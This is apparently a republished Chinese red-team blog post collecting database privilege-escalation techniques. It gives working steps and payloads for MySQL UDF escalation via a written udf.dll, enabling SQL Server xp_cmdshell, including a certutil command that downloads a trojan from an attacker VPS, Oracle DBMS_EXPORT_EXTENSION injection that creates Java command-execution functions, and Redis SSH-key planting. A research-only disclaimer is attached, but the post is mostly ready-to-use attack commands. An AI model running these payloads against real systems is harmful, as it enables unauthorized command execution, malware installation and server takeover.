暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

数据库提权合集

谁不想当剑仙 2021-04-25
388

hw结束,容我歇几天



作者:keaitm
介绍:没有人比我更擅长干饭

在hw时常常能从配置文件中获得一些数据库的账号密码,然后就可以尝试利用数据库运行系统命令达到上线等目的。


✔ 0x01 mysql的udf提权


1.1 前提

1.select @@secure_file_priv

secure_file_priv参数值表示有导入导出权限的路径

为空或为需要操作文件夹的父目录。

如果该参数为空(不是null),则表示可以向任何目录写操作

2.数据库版本不同,udf.dll放置目录不同

version<5.1    c:\windows\system32

version>=5.1  mysql安装目录\lib\plugin

3.注意数据库是32位还是64位,根据位数选择udf的dll(或so)

使用SHOW VARIABLES LIKE '%version%'
查看

4.账户对数据库有插入的权限

1.2 开淦

MySQL5.1.60
来一遍完整流程,udf函数库的话,linux用so文件就可以了(应该吧):

首先,运行以下三行代码分别获得secure_file_priv、版本信息、安装路径

    select @@secure_file_priv;

      SHOW VARIABLES LIKE '%version%';  mysql版本和位数

        select @@basedir;  //mysql安装目录


        MySQL5.1.60目录下开始是没有lib\plugin目录的

        mysql一般默认是没有lib\plugin目录的(据说安装完整版mysql就会有)

        在低版本的mysql中可以使用NTFS流创建lib\plugin目录,具体命令如下:

          SELECT '1' into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60\\lib::$INDEX_ALLOCATION';
          SELECT '1' into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60/lib\\plugin::$INDEX_ALLOCATION';
          //运行报Error writing则说明文件夹创建成功
          //若报Permission denied则说明失败

          --tips:mysql5.1.60
          版本还能用,版本再高就不一定了,高版本mysql会限制流的使用。

          高版本没有lib\plugin目录目前不知道怎么解决,希望有大佬能指点!

          利用dumpfile写入udf.dll文件,这里要先把文件转换为16进制数据,用UltraEdit列模式复制出来16进制数据,然后写个小脚本把空格和\n删掉。

          脚本大概有这么小:

            lines=[]
            with open("udf.txt", 'r') as file_to_read:
            while True:
            line = file_to_read.readline()
            if not line:
            break
            line = line.strip('\n')
            line = line.replace(" ","")
            lines.append(line)
            with open("new.txt", 'a') as new:
            for a in lines:
            new.write(a)

            udf.dll可以在msf中获得:

            默认为/usr/share/metasploit-framework/data/exploits/mysql
            目录

            使用dumpfile写入udf.dll:

              select unhex('dll文件的16进制编码,不要空格和换行,很长一串') into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60/lib/plugin/udf.dll';

              写入成功。

              使用create function创建自定义函数 sys_eval():

                create function sys_eval returns string soname 'udf.all';

                可用函数在dll文件中查看:

                使用sys_eval()

                接下来就可以进行certutil下马之类的操作了。

                enjoy it!


                ✔ 0x02 SQL Server的xp_cmdshell


                SQL Server由于有xp_cmdshell操作相对简单

                2.1 前提

                拥有sa权限账户

                2.2 开淦

                xp_cmdshell一般默认是关闭的,我们要先把这个模块开启

                  //要先选择master数据库
                  sp_configure 'show advanced options',1
                  reconfigure
                  go
                  sp_configure 'xp_cmdshell',1
                  reconfigure
                  go

                  xp_cmdshell还有可能被删除,可以尝试恢复

                    exec sp_dropextendedproc 'xp_cmdshell' dbcc addextendedproc("xp_cmdshell","xplog70.dll") OR dbcc addextendedproc("xp_cmdshell","d:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll");

                    开启xp_cmdshell后就可以通过数据库执行系统命令

                      exec xp_cmdshell 'whoami'
                      //例:可以使用xp_cmdshell进行下马操作,需要在vps上开一个http服务
                      exec xp_cmdshell 'certutil.exe -urlcache -split -f http://vps_ip:vps_port/你的马.exe c:\temp\a.exe';

                      ✔ 0x03 oracle的DBMS_EXPORT_EXTENSION()漏洞


                      3.1 前提

                      1.拥有一个有create session权限的账户

                      2.DBMS_EXPORT_EXTENSION()漏洞存在

                      DBMS_EXPORT_EXTENSION()中的GET_DOMAIN_INDEX_TABLES()函数是以sys权限定义,当其被低权限用户调用时将会以sys权限执行。

                      3.2 开淦

                      数据库为oracle10g的 10.2.0.1
                      版本。

                      创建一个低权限用户test

                      本人不擅长oracle,这里直接使用了redn3ck大佬的payload。

                      1.创建java代码LinxUtil:

                        select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual

                        2.赋予public用户java权限:

                          select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual

                          3.创建系统命令调用函数LinxRunCMD:

                            select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual

                            4.将LinxRunCMD函数执行权限赋予public用户:

                              select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual

                              5.使用:

                                select sys.LinxRunCMD('whoami') from dual

                                接下来就是愉快的上线环节。


                                ✔ 0x04 未授权访问redis利用SSH key


                                实战很少能用,一般遇到的redis权限都比较低,内网较多。

                                4.1 前提

                                需要高权限redis账户,能对目标文件夹写入操作。

                                4.2 开淦

                                在本地生成rsa密钥对:

                                1.在/root/.ssh目录运行ssh-keygen -t rsa
                                命令,然后一直回车,得到rsa密钥对。

                                2.将公钥id-rsa.pub写入目标机/root/.ssh目录下的authorized_keys文件中:

                                3.直接在.ssh目录下尝试用rsa文件连接目标机:

                                成功,开始为所欲为。

                                可以利用相似的方法写入webshell,前提是知道绝对路径


                                ✔ 0x05 参考



                                Oracle注入 - 命令执行&Shell反弹

                                https://redn3ck.github.io/2018/04/25/Oracle%E6%B3%A8%E5%85%A5-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-Shell%E5%8F%8D%E5%BC%B9/



                                免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

                                来都来了,不关注一波?



                                文章转载自谁不想当剑仙,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                评论